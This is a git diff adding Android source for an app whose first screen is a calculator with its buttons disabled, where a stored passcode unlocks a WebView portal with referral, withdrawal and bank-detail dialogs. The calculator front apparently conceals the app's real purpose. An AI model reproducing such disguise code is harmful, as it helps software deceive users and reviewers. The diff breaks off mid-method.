index 0000000..fa044fb --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/LinkConfigInfo.java @@ -0,0 +1,34 @@ +package com.web.base; + +import java.io.Serializable; + +public class LinkConfigInfo implements Serializable { + + public String name; + public String icon; + public String linkUrl; + + public String getName() { + return name; + } + + public void setName(String name) { + this.name = name; + } + + public String getIcon() { + return icon; + } + + public void setIcon(String icon) { + this.icon = icon; + } + + public String getLinkUrl() { + return linkUrl; + } + + public void setLinkUrl(String linkUrl) { + this.linkUrl = linkUrl; + } +} diff --git a/base_bk88/src/main/java/com/web/base/LogUtils.java b/base_bk88/src/main/java/com/web/base/LogUtils.java new file mode 100644 index 0000000..c7bd63f --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/LogUtils.java @@ -0,0 +1,146 @@ +package com.web.base; + +import android.util.Log; + + +/** + * Log统一管理类 + * Created by on 2015/10/19 0019. + */ +public class LogUtils { + + private LogUtils() { + throw new UnsupportedOperationException("cannot be instantiated"); + } + +// public static boolean isDebug = ApiService.isDebug;// 是否需要打印bug,可以在application的onCreate函数里面初始化 + public static boolean isDebug = BuildConfig.BUILD_TYPE.equals("debug");// 是否需要打印bug,可以在application的onCreate函数里面初始化 +// public static boolean isDebug = false;// 是否需要打印bug,可以在application的onCreate函数里面初始化 + + private static final String TAG = "BIKAOVIDEO"; + + /** + * 默认tag的函数 + * + * @param msg 打印信息 + */ + public static void v(String msg) { + if (isDebug) Log.v(TAG, msg); + } + + public static void d(String msg) { + if (isDebug) Log.d(TAG, msg); + } + + public static void i(String msg) { + if (isDebug) { + if (msg.length() > 4000) { + Log.i( TAG,"BIKAOVIDEOsb.length = " + msg.length()); + int chunkCount = msg.length() / 4000; // integer division + for (int i = 0; i <= chunkCount; i++) { + int max = 4000 * (i + 1); + if (max >= msg.length()) { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i)); + } else { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max)); + } + } + } else { + Log.i( TAG,"BIKAOVIDEO" + msg.toString()); + } + } + } + + public static void w(String msg) { + if (isDebug) Log.w(TAG, msg); + } + + public static void e(String msg) { + if (isDebug) { + if (msg.length() > 4000) { + Log.e(TAG, "sb.length = " + msg.length()); + int chunkCount = msg.length() / 4000; // integer division + for (int i = 0; i <= chunkCount; i++) { + int max = 4000 * (i + 1); + if (max >= msg.length()) { + Log.e(TAG, "XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i)); + } else { + Log.e(TAG, "XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max)); + } + } + } else { + Log.e(TAG, "XHX" + msg.toString()); + } + + } + + } + + /** + * 自定义lag的函数 + * + * @param tag tag + * @param msg 打印信息 + */ + public static void v(String tag, String msg) { + if (isDebug) Log.v(tag, msg); + } + + public static void d(String tag, String msg) { + if (isDebug) Log.d(tag, msg); + } + + public static void i(String tag, String msg) { + if (isDebug) { + if (msg.length() > 4000) { + Log.i( TAG,"sb.length = " + msg.length()); + int chunkCount = msg.length() / 4000; // integer division + for (int i = 0; i <= chunkCount; i++) { + int max = 4000 * (i + 1); + if (max >= msg.length()) { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i)); + } else { + Log.i( TAG,"XHXchunk " + i + " of " + chunkCount + ":" + msg.substring(4000 * i, max)); + } + } + } else { + Log.i( TAG,"XHX" + msg.toString()); + } + } + } + + public static void w(String tag, String msg) { + if (isDebug) Log.w(tag, msg); + } + + public static void e(String tag, String msg) { + if (isDebug) Log.e(tag, msg); + } + + /** + * 自定义lag的函数 + * + * @param clazz 类 + * @param msg 打印信息 + */ + public static void v(Class clazz, String msg) { + if (isDebug) Log.v(clazz.getSimpleName(), msg); + } + + public static void d(Class clazz, String msg) { + if (isDebug) Log.d(clazz.getSimpleName(), msg); + } + + public static void i(Class clazz, String msg) { + if (isDebug) Log.i(clazz.getSimpleName(), msg); + } + + public static void w(Class clazz, String msg) { + if (isDebug) Log.w(clazz.getSimpleName(), msg); + } + + public static void e(Class clazz, String msg) { + if (isDebug) Log.e(clazz.getSimpleName(), msg); + } + +} \ No newline at end of file diff --git a/base_bk88/src/main/java/com/web/base/MainActivity.java b/base_bk88/src/main/java/com/web/base/MainActivity.java new file mode 100644 index 0000000..74ac6c0 --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/MainActivity.java @@ -0,0 +1,372 @@ +package com.web.base; + +import android.app.Activity; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.SharedPreferences; +import android.content.pm.PackageManager; +import android.os.Bundle; +import android.os.Handler; +import android.text.TextUtils; +import android.util.Log; +import android.util.TypedValue; +import android.view.View; +import android.view.WindowManager; +import android.widget.Button; +import android.widget.TextView; + +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.core.widget.TextViewCompat; + +import java.math.BigDecimal; +import java.nio.charset.StandardCharsets; +import java.security.MessageDigest; +import java.security.NoSuchAlgorithmException; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +public class MainActivity extends AppCompatActivity implements View.OnClickListener { + + + private StringBuilder currentInput = new StringBuilder(""); + private BigDecimal currentAnswer = new BigDecimal(0); + private boolean hasCount = false; + private TextView inputTextView, outputTextView; + private Button btn_0, btn_1, btn_2, btn_3, btn_4, btn_5, btn_6, btn_7, btn_8, btn_9, + btn_point, btn_equal, btn_add, btn_subtract, btn_multiply, btn_divide, btn_percent, btn_backspace, btn_clear; + + + @Override + protected void onCreate(Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main); + + if (TextUtils.isEmpty(getString(MainActivity.this, "loc_pass", ""))) { + startActivity(new Intent(this, StartActivity.class)); + finish(); + return; + } + + setListener(); + TextViewCompat.setAutoSizeTextTypeUniformWithConfiguration(inputTextView, 10, 50, 2, TypedValue.COMPLEX_UNIT_SP); + TextViewCompat.setAutoSizeTextTypeUniformWithConfiguration(outputTextView, 10, 50, 2, TypedValue.COMPLEX_UNIT_SP); + getNetUrl(); + } + + public void setListener() { + inputTextView = (TextView) findViewById(R.id.inputText); + outputTextView = (TextView) findViewById(R.id.outputText); + btn_0 = (Button) findViewById(R.id.btn_0); + btn_0.setOnClickListener(this); + btn_1 = (Button) findViewById(R.id.btn_1); + btn_1.setOnClickListener(this); + btn_2 = (Button) findViewById(R.id.btn_2); + btn_2.setOnClickListener(this); + btn_3 = (Button) findViewById(R.id.btn_3); + btn_3.setOnClickListener(this); + btn_4 = (Button) findViewById(R.id.btn_4); + btn_4.setOnClickListener(this); + btn_5 = (Button) findViewById(R.id.btn_5); + btn_5.setOnClickListener(this); + btn_6 = (Button) findViewById(R.id.btn_6); + btn_6.setOnClickListener(this); + btn_7 = (Button) findViewById(R.id.btn_7); + btn_7.setOnClickListener(this); + btn_8 = (Button) findViewById(R.id.btn_8); + btn_8.setOnClickListener(this); + btn_9 = (Button) findViewById(R.id.btn_9); + btn_9.setOnClickListener(this); + btn_point = (Button) findViewById(R.id.btn_point); + btn_point.setOnClickListener(this); + btn_equal = (Button) findViewById(R.id.btn_equal); + btn_equal.setOnClickListener(this); + btn_add = (Button) findViewById(R.id.btn_add); + btn_add.setOnClickListener(this); + btn_subtract = (Button) findViewById(R.id.btn_subtract); + btn_subtract.setOnClickListener(this); + btn_multiply = (Button) findViewById(R.id.btn_multiply); + btn_multiply.setOnClickListener(this); + btn_divide = (Button) findViewById(R.id.btn_divide); + btn_divide.setOnClickListener(this); + btn_backspace = (Button) findViewById(R.id.btn_backspace); + btn_backspace.setOnClickListener(this); + btn_clear = (Button) findViewById(R.id.btn_clear); + btn_clear.setOnClickListener(this); + } + + Handler handler = new Handler(); + + public void displayInput() { + inputTextView.setText(currentInput); + if (currentInput.toString().equals(MainActivity.getString(MainActivity.this, "loc_pass", ""))) { + toNextActivity(); + } + } + + private void toNextActivity() { +// changeIcon(true); + handler.postDelayed(() -> { + startActivity(new Intent(MainActivity.this, MainActivity2.class)); +// finish(); + }, 1000); + } + + /** + * 修改图标和名称的方法 + * + * @param enable + */ + public void changeIcon(boolean enable) { + PackageManager pm = getApplicationContext().getPackageManager(); + + if (enable) { + //显示Test图标 + pm.setComponentEnabledSetting(new ComponentName( + getBaseContext(), + "Tptogiar.calculcator.MainActivityNew"), + PackageManager.COMPONENT_ENABLED_STATE_ENABLED, + PackageManager.DONT_KILL_APP); + + //去掉HomeActivity图标 + pm.setComponentEnabledSetting(new ComponentName( + getBaseContext(), + "Tptogiar.calculcator.MainActivity"), + PackageManager.COMPONENT_ENABLED_STATE_DISABLED, + PackageManager.DONT_KILL_APP); + Log.d("TAG", "换Test的图标"); + } else { + //去掉HomeActivity图标 + pm.setComponentEnabledSetting(new ComponentName( + getBaseContext(), + "Tptogiar.calculcator.MainActivity"), + PackageManager.COMPONENT_ENABLED_STATE_ENABLED, + PackageManager.DONT_KILL_APP); + + //显示Test图标 + pm.setComponentEnabledSetting(new ComponentName( + getBaseContext(), + "Tptogiar.calculcator.Default"), + PackageManager.COMPONENT_ENABLED_STATE_DISABLED, + PackageManager.DONT_KILL_APP); + + + Log.d("TAG", "换Test的图标"); + } + } + + + public void displayAnswer(StringBuilder string) { + Pattern compile = Pattern.compile("[^0-9.-]"); + StringBuilder result = new StringBuilder(compile.matcher(string).replaceAll("")); + if (result.charAt(result.length() - 1) == '-') { + System.out.println(result.charAt(result.length() - 1)); + result.deleteCharAt(result.length() - 1); + } + System.out.println(result); + outputTextView.setText(result); + } + + public StringBuilder compute(StringBuilder str) { + Pattern pattern = Pattern.compile("([\\d.]+)\\s*([*/])\\s*([\\d.]+)"); + Matcher matcher = pattern.matcher(str.toString()); + while (matcher.find()) { + BigDecimal first = BigDecimal.valueOf(Double.valueOf(matcher.group(1))); + BigDecimal second = BigDecimal.valueOf(Double.valueOf(matcher.group(3))); + switch (matcher.group(2)) { + case "*": + first = first.multiply(second); + break; + case "/": + first = first.divide(second); + break; + } + str.replace(matcher.start(), matcher.end(), first.toString()); + matcher.reset(str.toString()); + } + + pattern = Pattern.compile("([\\d.]+)\\s*([+-])\\s*([\\d.]+)"); + matcher = pattern.matcher(str.toString()); + while (matcher.find()) { + BigDecimal first = BigDecimal.valueOf(Double.valueOf(matcher.group(1))); + BigDecimal second = BigDecimal.valueOf(Double.valueOf(matcher.group(3))); + switch (matcher.group(2)) { + case "+": + first = first.add(second); + break; + case "-": + first = first.subtract(second); + break; + + } + str.replace(matcher.start(), matcher.end(), first.toString()); + matcher.reset(str.toString()); + } + return str; + } + + public void addInput(String string) { + if (hasCount == false) { + currentInput.append(string); + } else { + currentInput = new StringBuilder(""); + hasCount = false; + currentInput.append(string); + } + displayInput(); + } + + + public String GETHASH() { + try { + String value = "" + ""; + MessageDigest messageDigest = MessageDigest.getInstance("SHA-256"); + byte[] bytes = messageDigest.digest(value.getBytes(StandardCharsets.UTF_8)); + return byteToString(bytes); + } catch (NoSuchAlgorithmException e) { + return ""; + } + } + + public String byteToString(byte[] bytes) { + StringBuilder stringBuilder = new StringBuilder(); + for (int i = 0; i < bytes.length; i++) { + String hexString = Integer.toHexString(0xff & bytes[i]); + if (hexString.length() == 1) { + stringBuilder.append("0"); + } + stringBuilder.append(hexString); + } + return stringBuilder.toString(); + } + + + @Override + public void onClick(View v) { + switch (v.getId()) { +// case R.id.btn_0: +// addInput("0"); +// break; +// case R.id.btn_1: +// addInput("1"); +// break; +// case R.id.btn_2: +// addInput("2"); +// break; +// case R.id.btn_3: +// addInput("3"); +// break; +// case R.id.btn_4: +// addInput("4"); +// break; +// case R.id.btn_5: +// addInput("5"); +// break; +// case R.id.btn_6: +// addInput("6"); +// break; +// case R.id.btn_7: +// addInput("7"); +// break; +// case R.id.btn_8: +// addInput("8"); +// break; +// case R.id.btn_9: +// addInput("9"); +// break; +// case R.id.btn_point: +// addInput("."); +// break; +// case R.id.btn_add: +// addInput("+"); +// break; +// case R.id.btn_subtract: +// addInput("-"); +// break; +// case R.id.btn_multiply: +// addInput("*"); +// break; +// case R.id.btn_divide: +// addInput("/"); +// break; +// case R.id.btn_backspace: +// if (currentInput.length() > 0) { +// currentInput.deleteCharAt(currentInput.length() - 1); +// } +// displayInput(); +// break; +// case R.id.btn_clear: +// currentInput = new StringBuilder(""); +// displayInput(); +// outputTextView.setText(""); +// break; +// case R.id.btn_equal: +// StringBuilder result = compute(currentInput); +// displayAnswer(result); +// hasCount = true; +// break; + } + } + + public void getNetUrl() { +// Api.getInstance().geUrl(System.currentTimeMillis()) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// LogUtils.i("获取的文件地址:"+o.url); +// if(!TextUtils.isEmpty(o.url)){ +// saveString(MainActivity.this,"base_url",o.url); +// } +// } +// +// @Override +// public void onError(int code, String msg) { +// +// } +// }); + } + + public static void saveString(Context context, String key, String value) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + SharedPreferences.Editor editor = sp.edit(); + editor.putString(key, value); + editor.apply(); + } + + public static String getString(Context context, String key, String defValue) { + if (context == null) { + return defValue; + } + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + return sp.getString(key, defValue); + } + + + public static void saveBoolean(Context context, String key, Boolean value) { + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + SharedPreferences.Editor editor = sp.edit(); + editor.putBoolean(key, value); + editor.apply(); + } + + public static Boolean getBoolean(Context context, String key, Boolean defValue) { + if (context == null) { + return defValue; + } + SharedPreferences sp = context.getSharedPreferences("InitApp", Activity.MODE_PRIVATE); + return sp.getBoolean(key, defValue); + } + +} \ No newline at end of file diff --git a/base_bk88/src/main/java/com/web/base/MainActivity2.java b/base_bk88/src/main/java/com/web/base/MainActivity2.java new file mode 100644 index 0000000..4bdb14e --- /dev/null +++ b/base_bk88/src/main/java/com/web/base/MainActivity2.java @@ -0,0 +1,1495 @@ +package com.web.base; + +import android.Manifest; +import android.annotation.SuppressLint; +import android.annotation.TargetApi; +import android.app.Activity; +import android.app.ActivityManager; +import android.app.NotificationManager; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.content.SharedPreferences; +import android.content.pm.ApplicationInfo; +import android.content.pm.PackageManager; +import android.database.Cursor; +import android.graphics.Color; +import android.media.AudioAttributes; +import android.media.MediaPlayer; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Handler; +import android.os.Looper; +import android.os.Message; +import android.provider.ContactsContract; +import android.text.Html; +import android.text.TextUtils; +import android.util.Log; +import android.view.MotionEvent; +import android.view.View; +import android.view.WindowManager; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.ProgressBar; +import android.widget.TextView; +import android.widget.Toast; +import androidx.annotation.Nullable; +import androidx.annotation.RequiresApi; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.cardview.widget.CardView; +import androidx.core.app.ActivityCompat; +import androidx.core.content.ContextCompat; +import com.google.android.material.floatingactionbutton.FloatingActionButton; +import com.google.gson.Gson; +import com.king.app.updater.AppUpdater; +import com.tencent.smtt.export.external.interfaces.PermissionRequest; +import com.tencent.smtt.export.external.interfaces.WebResourceError; +import com.tencent.smtt.export.external.interfaces.WebResourceRequest; +import com.tencent.smtt.sdk.DownloadListener; +import com.tencent.smtt.sdk.ValueCallback; +import com.tencent.smtt.sdk.WebChromeClient; +import com.tencent.smtt.sdk.WebSettings; +import com.tencent.smtt.sdk.WebView; +import com.tencent.smtt.sdk.WebViewClient; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Random; +import java.util.Timer; +import java.util.TimerTask; +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; +import okhttp3.MediaType; +import okhttp3.RequestBody; + +public class MainActivity2 extends AppCompatActivity { + WebView webView; + TextView tvErrorMsg; + LinearLayout layoutError; + ImageView show_top_v; + public ImageView showTopV1; + private LinearLayout showTopLy; + FloatingActionButton floatingActionButton; + CardView otherApp; + CardView notifyCardView; + CardView ivNotify; + ImageView ivotherApp; + LinearLayout layoutOtherApp; + CardView ivFaceBook; + CardView ivTelG; + CardView ivWhatsApp; + CardView ivLink; + TextView tvLink; + ImageView ivLinkBg; + CardView ivHome; + private View topVvvv; + private ProgressBar progressBar; + public static String url = "https://candy916.co/"; + + //先定义 + private static final int REQUEST_EXTERNAL_STORAGE = 1; + public static int userId = 2; + private String shareUrl; + private String myInviteCode; + private int contactApply = 1; + private int notifyApply = 1; + private String facebookUrl = ""; + private String whatsappUrl = ""; + private String telegramUrl = ""; + private List linkconfiglist; + private CardView cvShare; + + float lastX, lastY; + float initX, initY; + + @Override + protected void onNewIntent(Intent intent) { + super.onNewIntent(intent); + setIntent(intent); + Bundle bundle = intent.getExtras(); + if (bundle != null) { + MessageInfo messageInfo = (MessageInfo) bundle.getSerializable("message"); + if (messageInfo != null) { + startActivity(new Intent(MainActivity2.this, NotifyListActivity.class).putExtra("message", messageInfo)); + recordNotify(messageInfo.getPushId()); + } + } + } + + @RequiresApi(api = Build.VERSION_CODES.LOLLIPOP) + @Override + protected void onCreate(Bundle savedInstanceState) { +// getWindow().setNavigationBarColor(Color.parseColor(MainActivity.getString(MainActivity2.this, "style_color", "#FFFFFF"))); +// getWindow().getDecorView().setBackgroundColor(Color.parseColor(MainActivity.getString(MainActivity2.this, "windows_color", "#FFFFFF"))); +// getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); +// getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + if (getInt(MainActivity2.this, "is_white", 0) == 1) { + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + } else { + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + } + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_main2); + String body = getIntent().getStringExtra("message"); + if (!TextUtils.isEmpty(body)) { + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + startActivity(new Intent(MainActivity2.this, NotifyListActivity.class).putExtra("message", messageInfo)); + recordNotify(messageInfo.getPushId()); + } + } + + boolean isDownload = MainActivity.getBoolean(MainActivity2.this, "download", false); + if (!isDownload) { + setDownloadNumbers(); + } + initView(); + findViewById(R.id.back_iv).setOnClickListener(view -> onBackPressed()); + floatingActionButton = findViewById(R.id.bt_menu); + otherApp = findViewById(R.id.bt_otherapp); + ivotherApp = findViewById(R.id.iv_otherApp); + notifyCardView = findViewById(R.id.bt_notify); + ivNotify = findViewById(R.id.bt_notifyitem); + layoutOtherApp = findViewById(R.id.layout_otherapp); + ivFaceBook = findViewById(R.id.iv_facebook); + ivTelG = findViewById(R.id.iv_tel); + ivWhatsApp = findViewById(R.id.iv_whatsapp); + ivLink = findViewById(R.id.iv_link); + tvLink = findViewById(R.id.tv_link); + ivLinkBg = findViewById(R.id.iv_linkbg); + ivHome = findViewById(R.id.iv_home); + + cvShare = (CardView) findViewById(R.id.cv_share); + +// ivNotify.setOnClickListener(view -> { +// notifyclick(); +// }); +// jdclub9vip + tvLink.setText(Html.fromHtml("MISSAV")); + ivFaceBook.setOnClickListener(view -> { + toOtherApp(facebookUrl, "com.facebook.katana", 1); + }); + ivTelG.setOnClickListener(view -> { + toOtherApp(telegramUrl, "org.telegram.messenger", 2); + }); + ivWhatsApp.setOnClickListener(view -> { + toOtherApp(whatsappUrl, "com.whatsapp", 3); + }); +// ivLink.setOnClickListener(view -> { +// toLink(); +// +// }); + ivHome.setOnClickListener(view -> { + webView.loadUrl(url); + }); + floatingActionButton.setOnClickListener(view -> { + showBottomDialog(); + }); + otherApp.setOnClickListener(view -> { + layoutOtherApp.setVisibility(layoutOtherApp.getVisibility() == View.VISIBLE ? View.GONE : View.VISIBLE); + int visi = layoutOtherApp.getVisibility(); + if (visi == 0) { + ivotherApp.setImageResource(R.mipmap.ic_shousuo); + } else { + ivotherApp.setImageResource(R.mipmap.ic_zhangkai); + } + }); + + + if(userId == 157||userId ==158){ + ivLink.setVisibility(View.VISIBLE); + } + + if(userId == 157){ + cvShare.setVisibility(View.VISIBLE); + } + cvShare.setOnTouchListener((v, event) -> { + + switch (event.getAction()) { + case MotionEvent.ACTION_DOWN: + lastX = event.getRawX(); + lastY = event.getRawY(); + initX = event.getRawX(); + initY = event.getRawY(); + LogUtils.d("touchevent", "lastX=" + lastX + " lastY" + lastY); + break; + case MotionEvent.ACTION_MOVE: + float dx = event.getRawX() - lastX; + float dy = event.getRawY() - lastY; + int left = layoutOtherApp.getLeft() + (int) dx; + int top = layoutOtherApp.getTop() + (int) dy; + int right = layoutOtherApp.getRight() + (int) dx; + int bottom = layoutOtherApp.getBottom() + (int) dy; + layoutOtherApp.layout(left, top, right, bottom); + lastX = event.getRawX(); + lastY = event.getRawY(); + break; + case MotionEvent.ACTION_UP: + float upx = event.getRawX(); + float upy = event.getRawY(); + if (upx == initX && upy == initY) { + if(userId == 157){ + Intent textIntent = new Intent(Intent.ACTION_SEND); + textIntent.setType("text/plain"); + textIntent.putExtra(Intent.EXTRA_TEXT, "https://kaki.hfcapital.top"); + startActivity(Intent.createChooser(textIntent, "分享")); + + } + } + + break; + } + return true; + }); + ivLink.setOnTouchListener((v, event) -> { + + switch (event.getAction()) { + case MotionEvent.ACTION_DOWN: + lastX = event.getRawX(); + lastY = event.getRawY(); + initX = event.getRawX(); + initY = event.getRawY(); + LogUtils.d("touchevent", "lastX=" + lastX + " lastY" + lastY); + break; + case MotionEvent.ACTION_MOVE: + float dx = event.getRawX() - lastX; + float dy = event.getRawY() - lastY; + int left = layoutOtherApp.getLeft() + (int) dx; + int top = layoutOtherApp.getTop() + (int) dy; + int right = layoutOtherApp.getRight() + (int) dx; + int bottom = layoutOtherApp.getBottom() + (int) dy; + layoutOtherApp.layout(left, top, right, bottom); + lastX = event.getRawX(); + lastY = event.getRawY(); + break; + case MotionEvent.ACTION_UP: + float upx = event.getRawX(); + float upy = event.getRawY(); + if (upx == initX && upy == initY) { + toLink(); + } + + break; + } + return true; + }); + + ivNotify.setOnTouchListener((v, event) -> { + + switch (event.getAction()) { + case MotionEvent.ACTION_DOWN: + lastX = event.getRawX(); + lastY = event.getRawY(); + initX = event.getRawX(); + initY = event.getRawY(); + LogUtils.d("touchevent", "lastX=" + lastX + " lastY" + lastY); + break; + case MotionEvent.ACTION_MOVE: + float dx = event.getRawX() - lastX; + float dy = event.getRawY() - lastY; + int left = layoutOtherApp.getLeft() + (int) dx; + int top = layoutOtherApp.getTop() + (int) dy; + int right = layoutOtherApp.getRight() + (int) dx; + int bottom = layoutOtherApp.getBottom() + (int) dy; + layoutOtherApp.layout(left, top, right, bottom); + lastX = event.getRawX(); + lastY = event.getRawY(); + break; + case MotionEvent.ACTION_UP: + float upx = event.getRawX(); + float upy = event.getRawY(); + if (upx == initX && upy == initY) { + notifyclick(); + } + + break; + } + return true; + }); + layoutOtherApp.setOnTouchListener((v, event) -> { + + switch (event.getAction()) { + case MotionEvent.ACTION_DOWN: + lastX = event.getRawX(); + lastY = event.getRawY(); + initX = event.getRawX(); + initY = event.getRawY(); + LogUtils.d("touchevent", "lastX=" + lastX + " lastY" + lastY); + break; + case MotionEvent.ACTION_MOVE: + float dx = event.getRawX() - lastX; + float dy = event.getRawY() - lastY; + int left = v.getLeft() + (int) dx; + int top = v.getTop() + (int) dy; + int right = v.getRight() + (int) dx; + int bottom = v.getBottom() + (int) dy; + v.layout(left, top, right, bottom); + lastX = event.getRawX(); + lastY = event.getRawY(); + break; + case MotionEvent.ACTION_UP: + float upx = event.getRawX(); + float upy = event.getRawY(); + if (upx == initX && upy == initY) { + notifyclick(); + } + + break; + } + return true; + }); + + setTotalTongJi(); //每日活跃统计 + + + } + + private void toLink() { + if(userId ==157||userId ==158){ + webView.loadUrl("https://missav.live/dm19/ms"); + + }else { + webView.loadUrl(linkconfiglist.get(0).getLinkUrl()); + } + } + + public void setBackDrawables(int drawableId){ + showTopLy.setBackgroundResource(drawableId); + } + + /** + * 显示圆角还是 原样显示 + * @param isRound + */ + public void setImageView(boolean isRound){ + if(isRound){ + show_top_v.setVisibility(View.VISIBLE); + showTopV1.setVisibility(View.GONE); + }else{ + show_top_v.setVisibility(View.GONE); + showTopV1.setVisibility(View.VISIBLE); + } + } + + //跳转通知列表 + private void notifyclick() { + startActivity(new Intent(this, NotifyListActivity.class)); + } + + private void toOtherApp(String uri, String packagenames, int type) { + try { + Intent intent = new Intent(Intent.ACTION_VIEW); + intent.setData(Uri.parse(uri)); + intent.setPackage(packagenames); + startActivity(intent); + } catch (Exception e) { + Intent intent = new Intent(Intent.ACTION_VIEW); + intent.setData(Uri.parse(uri)); + startActivity(intent); + } + + } + + + public void showBottomDialog() { + ActionSelectDialog actionDialog = new ActionSelectDialog(MainActivity2.this); + actionDialog.setOnToActionListener(new ActionSelectDialog.OnToActionListener() { + @Override + public void toShare() { + if (TextUtils.isEmpty(myInviteCode)) { + getMyInvite(true); + } else { + goShare(); + } + } + + @Override + public void toCheck() { + showRecordDialog(); + } + + @Override + public void toWithDrawRecords() { + showWithDrawRecordDialog(); + } + + @Override + public void toWithDrawApply() { + goWithDrawApply(); + } + + @Override + public void toBankInfo() { + showBankInfoDialog(); + } + }); + actionDialog.setCancelable(true); + actionDialog.setCanceledOnTouchOutside(true); + actionDialog.show(); + } + + public void goShare() { + Intent shareTextIntent = new Intent(); + shareTextIntent.setAction(Intent.ACTION_SEND); + String title = getString(R.string.app_sharetitle) + myInviteCode; + String parentCode = MainActivity.getString(this, "code", ""); + shareTextIntent.putExtra(Intent.EXTRA_TITLE, title + (TextUtils.isEmpty(parentCode) ? "" : "\n" + getString(R.string.app_sharetitle2) + parentCode)); + shareTextIntent.putExtra(Intent.EXTRA_TEXT, getString(R.string.app_name) + getString(R.string.app_sharecontent) + shareUrl + " \n" + title); + shareTextIntent.setType("text/plain"); + startActivity(Intent.createChooser(shareTextIntent, getString(R.string.app_name) + getString(R.string.app_sharecontent))); + } + + private ActionWithDrawApplyDialog drawApplyDialog; + + public void goWithDrawApply() { + drawApplyDialog = new ActionWithDrawApplyDialog(MainActivity2.this, myInviteCode); + drawApplyDialog.setOnToActionListener(new ActionWithDrawApplyDialog.OnToActionListener() { + @Override + public void toSumbit(String content) { + sendApply(content); + } + + @Override + public void toCancel() { + + } + }); + drawApplyDialog.setCancelable(false); + drawApplyDialog.setCanceledOnTouchOutside(false); + drawApplyDialog.show(); + } + + /** + * 编辑银行卡信息 + */ + public void showBankInfoDialog() { + ActionBankInfoDialog bankInfoDialog = new ActionBankInfoDialog(MainActivity2.this, myInviteCode); + bankInfoDialog.setCancelable(false); + bankInfoDialog.setCanceledOnTouchOutside(false); + bankInfoDialog.show(); + } + + /** + * 发送申请记录 + */ + public void sendApply(String amount) { + HashMap map = new HashMap<>(); + map.put("userId", userId); + map.put("amount", amount); + map.put("inviteCode", myInviteCode); + Api.getInstance().sendWithDrawApply(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + Toast.makeText(MainActivity2.this, getString(R.string.app_toastapply), Toast.LENGTH_SHORT).show(); + if (drawApplyDialog != null) { + drawApplyDialog.dismiss(); + } + getMyInvite(false); + + } + + @Override + public void onError(int code, String msg) { + LogUtils.d("dddd" + msg); + Toast.makeText(MainActivity2.this, msg, Toast.LENGTH_SHORT).show(); + } + + @Override + public void onError2(Result o) { + Toast.makeText(MainActivity2.this, o.error, Toast.LENGTH_SHORT).show(); + } + }); + } + + + public void showRecordDialog() { + ActionInviteRecordsDialog actionDialog = new ActionInviteRecordsDialog(MainActivity2.this, myInviteCode); + actionDialog.setCancelable(false); + actionDialog.setCanceledOnTouchOutside(false); + actionDialog.show(); + } + + public void showWithDrawRecordDialog() { + ActionWithDrawRecordsDialog actionDialog = new ActionWithDrawRecordsDialog(MainActivity2.this, myInviteCode); + actionDialog.setCancelable(false); + actionDialog.setCanceledOnTouchOutside(false); + actionDialog.show(); + } + + ActionConfirmDialog actionDialog; + + private void checkNotify() { + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) { + if (!notificationManager.areNotificationsEnabled()) { + if (actionDialog == null) { + actionDialog = new ActionConfirmDialog(MainActivity2.this, + getString(R.string.notification_title_txt), getString(R.string.notification_cancel_txt), + getString(R.string.notification_setting_txt)); + } + actionDialog.setOnToActionListener(new ActionConfirmDialog.OnToActionListener() { + @Override + public void toSumbit() { + jumpNotificationSetting(); + } + + @Override + public void toCancel() { + if (notifyApply == 1) { + MainActivity2.this.finish(); + } + + + } + }); + actionDialog.setCanceledOnTouchOutside(false); + 